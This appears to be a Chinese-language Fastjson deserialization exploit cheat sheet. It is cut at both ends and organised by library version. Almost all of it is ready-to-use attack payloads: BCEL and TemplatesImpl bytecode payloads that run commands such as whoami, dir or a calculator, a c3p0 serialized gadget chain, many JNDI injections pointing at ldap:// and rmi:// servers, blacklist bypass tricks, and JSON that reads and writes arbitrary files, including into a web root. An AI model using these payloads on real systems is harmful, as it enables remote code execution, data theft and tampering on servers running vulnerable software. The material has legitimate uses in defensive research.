7a$S$ffS$e4c$Ou$98$ebJ$d7$3c$Ox$b9$eb$p$n$d3$8f$acI$Sv$K$8fI$5c$GE$f2$o$f1Df$3d$82l$c1H$aa$y$c9_r$g$93$H$915$o$3c$e4$h$81$ffl$f90$a6$i$97B$5c$bb$8c$87$G$a1R$85$a9I$84$8e$e1$409$fd$cb$85$e04$ffS$u$dc$ea$LN$P$tQT$ceI1$t$r$9c$cc$b8$84$e9C$b8e$Q$b7$5c$86$w$a21$802$f2$n$83$e0$ad$3e$9e$nys$F$X8$$$s5C$c5P4$7b$84$8b$9b$x$92$985$80r$d1$cf$Z$c0l$d1$cf$h$401$d5$ba$8c$a9$83$d0$ae$x$oS$R$9f$abs$b7$absG$f0$f6a$ccO$a24X$96D$f91$u$c1$F$D$I$E$x$9ay$uX$99$SL$ca$94$d8K$a8j$a9$bc$80$ea$ad$c3XHU$93X$94$c4$e2$8asxQpI$Sw$q$b14$89$3b$x$93$b8$8b$df$b2$B$f8$9b$cf$96$97$f8w$ba8$J$a0$D$P$e0$m$fd$bf$I$P$e3Q$c6$40$f4G$f8$bfN$f4$t$Y$8b$Ri$a64$87$fb$5e$b4$k$e7$K0$9fQ$x$r$82$ca$Z$9f$F$a8$q$82$W$R$M$9b$88$96$ed$iu$e0$O$d8XJ$be$b5$e4$7c$t$fa$b1$8c$bc$ea$c9$fdn$i$c2$K$3c$c6$f1$R$ac$c4Q$ac$c2$T$i$9f$40$jN2$9b$9e$e4$f84$b3$u$c9$i$3a$cf$8c$Za$be$5ca$c6$5cE$8b4$9d$8f$d3$Zh$95f$oLm$da$a4$b9h$97$e6a$8bTAD$K$b4$ec$40$OeN$a2l$83$80$e8wQ$db$c9$d1$nwdrt$d4$j$ed$e2$e8$a4$3b$ea$e2$e8$K$a5vSB$We$94$o$82$dd$b4$92$Q$c2$k$Xsb$UE$Pq$u$d0W$8a$fc$m$fe$85$96$9d2b$fe$d52$acu2z$f9$ed$95$a7$cd$ac$93a$3f$87$b5$dc$Ba$u$Q$9a$93E$s$e0q$81$d2$f8$uJ$a5$7b$d8k$5c$eb$X$91$Xp$a8i$a9$bc$b8$d4$ef$5b$g$I$FB$feS0$xC$81$c55$d9E$d9$fe$qj$a5$g$b9H$a4$cbr$f6$b2$8b$94$bb$8fC$x$92K$86$b1b$A$d5E$f2$r$ac$e4$afF$vR$$$$$cd$f1$zUCj$u$e7$U$a6$V$v$nuqMnQ$ae$m$ecW$a5$81$e7$9f$rxj$94$fe$A$87$c7$vt$d5$d6$e6$cb$cf$3f$u$8a$c4$7cXt$dbhpW3$B$85$x$DL$e4$5b$99asi$ca$7c$ba$b4$9a$ae$ac$a1$T$eb$e94$83$O$8b$b0$b7h$abM$e78$a4$bd$X$7bq$lg$H9$T$c1XA$t$Y$fc$i$ba1$97$i$9a$5d$87$ca$e4$b9$Z$J$ec$e3$O$3d$80$3e$cf$c9$iyN$O$e0$7e$ecg$d8$b3$5cwWA$f97$C2$O$5cC$ae$8c$7b$r$e9$3fX$q$e3$3e$Z$af$b8$86$C$Z$x$r$e9$w$8a$Y$86$d8$3f$c1Q$60$d4$e9$7d$v$a7$xx$e5$f5$8a$3a$db$ad$q$M$E$abc$SuC$90$cf$8a$e0$ba$sg$bb$7b$K$dbW$b9$d5$fb$fe$ff$Ctz$ebem$R$A$A"
        }
    }: "x"
}

```




#### 1.2.33 <= fastjson <= 1.2.47

```java
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: whoami
Content-Length: 3647

{
    "xx":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
            }
        } : "xxx"
    }
}

```



1.2.33<=fastjson<=12.36

```java
{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL..."
            }
        } : "ddd"
    }
}
```

1.2.37<=fastjson<=1.2.47

```java
{
    "name":
    {
        "@type" : "java.lang.Class",
        "val"   : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
    },
    "x" : {
        "name": {
            "@type" : "java.lang.Class",
            "val"   : "com.sun.org.apache.bcel.internal.util.ClassLoader"
        },
        "y": {
            "@type":"com.alibaba.fastjson.JSONObject",
            "c": {
                "@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
                "driverClassLoader": {
                    "@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
                },
                "driverClassName":"$$BCEL$..",

                     "$ref": "$.x.y.c.connection"
            }
        }
    }
}
```



其他

```java
{
  "@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
  "key": {
    "@type": "java.lang.Class",
    "val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driverClassLoader": {
    "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
  },
  "driver": "$$BCEL$$xxxxxxx"
}
```







### TemplatesImpl

利用条件苛刻，可用于解决不出网利用。

需要调用`parseObject()`方法时，加入Feature.SupportNonPublicField参数。

  _bytecodes要进行base64编码

```java
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQASb3BlbiAtYSBDYWxjdWxhdG9yDAAkACUBAAZURU1QT0MBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvbGFuZy9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAHAAAAAAAEAAEACAAJAAIACgAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQALAAAADgADAAAACwAEAAwADQANAAwAAAAEAAEADQABAA4ADwABAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQABAA4AEAACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAFgAMAAAABAABABEACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAGQAIABoADAAAAAQAAQAUAAEAFQAAAAIAFg=="],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
```



#### c3p0#WrapperConnectionPoolDataSource

可用于解决不出网利用。

fastjson <1.2.47

利用c3p0二次反序列化 cc payload到达回显。

```java
POST /json HTTP/1.1
Host: 127.0.0.1:8999
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
cmd: dir
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 8925

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:ACED0005737200116A6176612E7574696C2E48617368536574BA44859596B8B7340300007870770C000000103F400000000000027372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870707400136765744F757470757450726F7065727469657370737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F4000000000000C770800000010000000017371007E000B3F4000000000000C770800000010000000017372003A636F6D2E73756E2E6F72672E6170616368652E78616C616E2E696E7465726E616C2E78736C74632E747261782E54656D706C61746573496D706C09574FC16EACAB3303000649000D5F696E64656E744E756D62657249000E5F7472616E736C6574496E6465785B000A5F62797465636F6465737400035B5B425B00065F636C61737371007E00084C00055F6E616D6571007E00074C00115F6F757470757450726F706572746965737400164C6A6176612F7574696C2F50726F706572746965733B787000000000FFFFFFFF757200035B5B424BFD19156767DB37020000787000000001757200025B42ACF317F8060854E0020000787000000DCFCAFEBABE0000003400CD0A0014005F090033006009003300610700620A0004005F09003300630A006400650A003300660A000400670A000400680A0033006907006A0A0014006B0A0012006C08006D0B000C006E08006F0700700A001200710700720A007300740700750700760700770800780A0079007A0A0018007B08007C0A0018007D08007E08007F0800800B001600810700820A008300840A008300850A008600870A002200880800890A0022008A0A0022008B0A008C008D0A008C008E0A0012008F0A009000910A009000920A001200930A003300940700950A00120096070097010001680100134C6A6176612F7574696C2F486173685365743B0100095369676E61747572650100274C6A6176612F7574696C2F486173685365743C4C6A6176612F6C616E672F4F626A6563743B3E3B010001720100274C6A617661782F736572766C65742F687474702F48747470536572766C6574526571756573743B010001700100284C6A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73653B0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010004746869730100204C79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F313B01000169010015284C6A6176612F6C616E672F4F626A6563743B295A0100036F626A0100124C6A6176612F6C616E672F4F626A6563743B01000D537461636B4D61705461626C65010016284C6A6176612F6C616E672F4F626A6563743B492956010001650100154C6A6176612F6C616E672F457863657074696F6E3B010008636F6D6D616E64730100135B4C6A6176612F6C616E672F537472696E673B0100016F01000564657074680100014907007607004C070072010001460100017101000D6465636C617265644669656C640100194C6A6176612F6C616E672F7265666C6563742F4669656C643B01000573746172740100016E0100114C6A6176612F6C616E672F436C6173733B07007007009807009901000A536F7572636546696C65010010436F6D6D6F6E4563686F312E6A6176610C003C003D0C003800390C003A003B0100116A6176612F7574696C2F486173685365740C0034003507009A0C009B009C0C005300480C009D00440C009E00440C004300440100256A617661782F736572766C65742F687474702F48747470536572766C6574526571756573740C009F00A00C00A100A2010003636D640C00A300A401000B676574526573706F6E736501000F6A6176612F6C616E672F436C6173730C00A500A60100106A6176612F6C616E672F4F626A6563740700A70C00A800A90100266A617661782F736572766C65742F687474702F48747470536572766C6574526573706F6E73650100136A6176612F6C616E672F457863657074696F6E0100106A6176612F6C616E672F537472696E670100076F732E6E616D650700AA0C00AB00A40C00AC00AD01000357494E0C009D00AE0100022F630100072F62696E2F73680100022D630C00AF00B00100116A6176612F7574696C2F5363616E6E65720700B10C00B200B30C00B400B50700B60C00B700B80C003C00B90100025C410C00BA00BB0C00BC00AD0700BD0C00BE00BF0C00C0003D0C00C100C20700990C00C300C40C00C500C60C00C700C80C003A00480100135B4C6A6176612F6C616E672F4F626A6563743B0C00C900A001001E79736F73657269616C2F7061796C6F6164732F436F6D6D6F6E4563686F3101001A5B4C6A6176612F6C616E672F7265666C6563742F4669656C643B0100176A6176612F6C616E672F7265666C6563742F4669656C640100106A6176612F6C616E672F54687265616401000D63757272656E7454687265616401001428294C6A6176612F6C616E672F5468726561643B010008636F6E7461696E73010003616464010008676574436C61737301001328294C6A6176612F6C616E672F436C6173733B010010697341737369676E61626C6546726F6D010014284C6A6176612F6C616E672F436C6173733B295A010009676574486561646572010026284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F537472696E673B0100096765744D6574686F64010040284C6A6176612F6C616E672F537472696E673B5B4C6A6176612F6C616E672F436C6173733B294C6A6176612F6C616E672F7265666C6563742F4D6574686F643B0100186A6176612F6C616E672F7265666C6563742F4D6574686F6401000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```







### Fastjson 1.2.25-1.2.41

1.2.25后将TypeUtils.loadClass替换为checkAutoType()函数，增加了黑名单和白名单。

把autoTypeSupport默认为False。

当autoTypeSupport为False时，先黑名单过滤，再白名单过滤，若白名单匹配上则直接加载该类，否则报错。

当autoTypeSupport为True时，先白名单过滤，匹配成功即可加载该类，否则再黑名单过滤。

1.2.25黑名单

```java
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework
```



exp

条件需要开启autotype

类名前面加了一个L，后面加一个;可以绕过黑名单

```java
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```



### Fastjson 1.2.25-1.2.42

从1.2.42版本开始,把之前的明文黑名单，改为hash黑名单。

如下大佬整理的

https://github.com/LeadroyaL/fastjson-blacklist



exp

条件需要开启autotype

双写绕过

```java
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```



### Fastjson 1.2.25-1.2.43



exp

条件需要开启autotype

加[{绕过

```java
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
```



### Fastjson 1.2.25-1.2.45

条件需要开启autotype

45把之前问题修了，但是可以借助第三方组件绕过。

需要mybatis，且版本需为3.x.x系列<3.5.0的版本。

```java
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
```



### Fastjson1.2.25-1.2.47通杀

借助缓存进行通杀，缓存在1.2.48被改为默认关闭

漏洞原理是通过java.lang.Class，将JdbcRowSetImpl类加载到Map中缓存，从而绕过AutoType的检测

这里有两大版本范围：

- 1.2.25-1.2.32版本：未开启AutoTypeSupport时能成功利用，开启AutoTypeSupport不能利用
- 1.2.33-1.2.47版本：无论是否开启AutoTypeSupport，都能成功利用

poc:

```java
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/badNameClass",
        "autoCommit":true
    }
}
```


**1.2.48之后版本，小弟水平有限还未复现研究，payload需要注意的细节还未探索**


### Fastjson1.2.5 <= 1.2.59

**需要开启AutoType**

```java
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
```



### Fastjson1.2.5 <= 1.2.60

**无需开启 autoType：**

```shell
{"@type":"oracle.jdbc.connector.OracleManagedConnectionFactory","xaDataSourceName":"rmi://10.10.20.166:1099/ExportObject"}

{"@type":"org.apache.commons.configuration.JNDIConfiguration","prefix":"ldap://10.10.20.166:1389/ExportObject"}
```



### Fastjson1.2.5 <= 1.2.61

```java
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
```







### Fastjson <1.2.62

- 需要开启AutoType；
- Fastjson <= 1.2.62；
- JNDI注入利用所受的JDK版本限制；
- 目标服务端需要存在xbean-reflect包；



```java
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","AsText":"rmi://127.0.0.1:1098/exploit"}

{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}

```



### fastjson<=1.2.66



### 前提条件

- 开启AutoType；
- Fastjson <= 1.2.66；
- JNDI注入利用所受的JDK版本限制；
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core包；
- br.com.anteros.dbcp.AnterosDBCPConfig类需要Anteros-Core和Anteros-DBCP包；
- com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类需要ibatis-sqlmap和jta包；



```java
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://192.168.80.1:1389/Calc"}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://localhost:1389/Exploit"], "Realms":[""]}


{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://192.168.80.1:1389/Calc"}

{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}


{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup","jndiNames":"ldap://192.168.80.1:1389/Calc"}

{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://192.168.80.1:1399/Calc"}}
```



适用于jdk11以上版本的写文件的payload：

```java
{
    "@type": "java.lang.AutoCloseable",
    "@type": "sun.rmi.server.MarshalOutputStream",
    "out": {
        "@type": "java.util.zip.InflaterOutputStream",
        "out": {
           "@type": "java.io.FileOutputStream",
           "file": "/tmp/asdasd",
           "append": true
        },
        "infl": {
           "input": {
               "array": "eJxLLE5JTCkGAAh5AnE=",
               "limit": 14
           }
        },
        "bufLen": "100"
    },
    "protocolVersion": 1
}
```





### fastjson<=1.2.67

### 前提条件

- 开启AutoType；
- Fastjson <= 1.2.67；
- JNDI注入利用所受的JDK版本限制；
- org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup类需要ignite-core、ignite-jta和jta依赖；
- org.apache.shiro.jndi.JndiObjectFactory类需要shiro-core和slf4j-api依赖；

```json
{"@type":"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup", "jndiNames":["ldap://localhost:1389/Exploit"], "tm": {"$ref":"$.tm"}}

{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://localhost:1389/Exploit","instance":{"$ref":"$.instance"}}

```







### fastjson<=1.2.68 

- Fastjson <= 1.2.68；
- 利用类必须是expectClass类的子类或实现类，并且不在黑名单中；



```java
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
{"@type":"com.caucho.config.types.ResourceRef","lookupName": "ldap://localhost:1389/Exploit", "value": {"$ref":"$.value"}}

```



无需开启AutoType，直接成功绕过CheckAutoType()的检测从而触发执行：

```json
{"@type":"java.lang.AutoCloseable","@type":"vul.VulAutoCloseable","cmd":"calc"}
```



读文件

```json
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"C:/Windows/win.ini", "targetPath":"D:/wamp64/www/win.txt"}
```



写文件

```json
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt",
        "tempPath": "D:/wamp64/www/test.txt"
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=",
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}
```



写文件

```java
{
    'stream':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'java.io.FileOutputStream',
        'file':'/tmp/nonexist',
        'append':false
    },
    'writer':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.apache.solr.common.util.FastOutputStream',
        'tempBuffer':'SSBqdXN0IHdhbnQgdG8gcHJvdmUgdGhhdCBJIGNhbiBkbyBpdC4=',
        'sink':
        {
            '$ref':'$.stream'
        },
        'start':38
    },
    'close':
    {
        '@type':"java.lang.AutoCloseable",
        '@type':'org.iq80.snappy.SnappyOutputStream',
        'out':
        {
            '$ref':'$.writer'
        }
    }
}
```



适用于jdk8/10的

```java
{
    '@type':"java.lang.AutoCloseable",
    '@type':'sun.rmi.server.MarshalOutputStream',
    'out':
    {
        '@type':'java.util.zip.InflaterOutputStream',
        'out':
        {
           '@type':'java.io.FileOutputStream',
           'file':'dst',
           'append':false
        },
        'infl':
        {
            'input':'eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=='
        },
        'bufLen':1048576
    },
    'protocolVersion':1
}
```
2021黑帽大会腾讯玄武披露   
详细漏洞原理待研究
```java
Mysqlconnector 5.1.x
{"@type":"java.lang.AutoCloseable","@type":"com.mysql.jdbc.JDBC4Connection","hostToConnectTo":"mysql.host","portToConnectTo":3306,"info":{"user":”user","password":”pass","statementInterceptors":"com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor","autoDeserialize":"true","NUM_HOSTS": "1"},"databaseToConnectTo":”dbname","url":""}

Mysqlconnector 6.0.2 or 6.0.3
{"@type": "java.lang.AutoCloseable","@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection","proxy":{"connectionString":{"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"}}}

Mysqlconnector 6.x or < 8.0.20
